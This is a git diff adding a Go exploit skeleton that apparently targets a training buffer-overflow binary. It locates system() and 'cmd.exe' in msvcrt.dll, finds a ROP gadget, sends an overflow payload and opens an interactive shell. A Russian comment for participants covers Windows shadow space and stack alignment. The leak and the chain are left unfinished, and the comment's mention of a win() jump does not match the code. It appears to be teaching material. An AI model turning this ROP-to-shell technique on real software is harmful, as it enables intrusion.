v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,85 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
pe, err := winpwn.OpenPE("./bof_win.c.exe")
|
||||
|
||||
if err == nil {
|
||||
defer pe.Close()
|
||||
}
|
||||
|
||||
msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to open DLL: %v", err)
|
||||
}
|
||||
defer msvcrt.Close()
|
||||
|
||||
// 2. Ищем функцию system (аналог libc.symbols['system'])
|
||||
systemRVA, err := msvcrt.GetProcAddress("system")
|
||||
if err != nil {
|
||||
log.Fatalf("system() not found")
|
||||
}
|
||||
log.Printf("[+] system() RVA: 0x%X", systemRVA)
|
||||
|
||||
// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
|
||||
cmdPattern := []byte("cmd.exe\x00")
|
||||
cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
|
||||
if err != nil {
|
||||
log.Fatalf("String 'cmd.exe' not found")
|
||||
}
|
||||
log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])
|
||||
|
||||
// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
|
||||
var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса
|
||||
|
||||
// 4. Вычисляем абсолютные адреса для ROP-цепочки
|
||||
systemAddr := msvcrtBase + systemRVA
|
||||
cmdStringAddr := msvcrtBase + cmdRVAs[0]
|
||||
|
||||
log.Printf("[+] system() absolute address: 0x%X", systemAddr)
|
||||
log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)
|
||||
|
||||
//------------------------------------
|
||||
rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
|
||||
if err != nil {
|
||||
log.Fatalf("rop init error : %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
popRcx, err := rop.Search("pop rcx ; ret")
|
||||
if err != nil {
|
||||
log.Fatalf("Gadget not found")
|
||||
}
|
||||
|
||||
// Выводим первый найденный гаджет
|
||||
fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)
|
||||
|
||||
// Интеграция в пейлоад
|
||||
// payload = append(payload, winpwn.P64(popRcx[0].Address)...)
|
||||
|
||||
payload := bytes.Repeat([]byte("a"), 128)
|
||||
|
||||
p, err := winpwn.Spawn("bof_win.c.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
p.Interactive()
|
||||
}
|
||||
|
||||
/*На что обратить внимание твоим участникам:
|
||||
|
||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
||||
|
||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
||||
Reference in New Issue
Block a user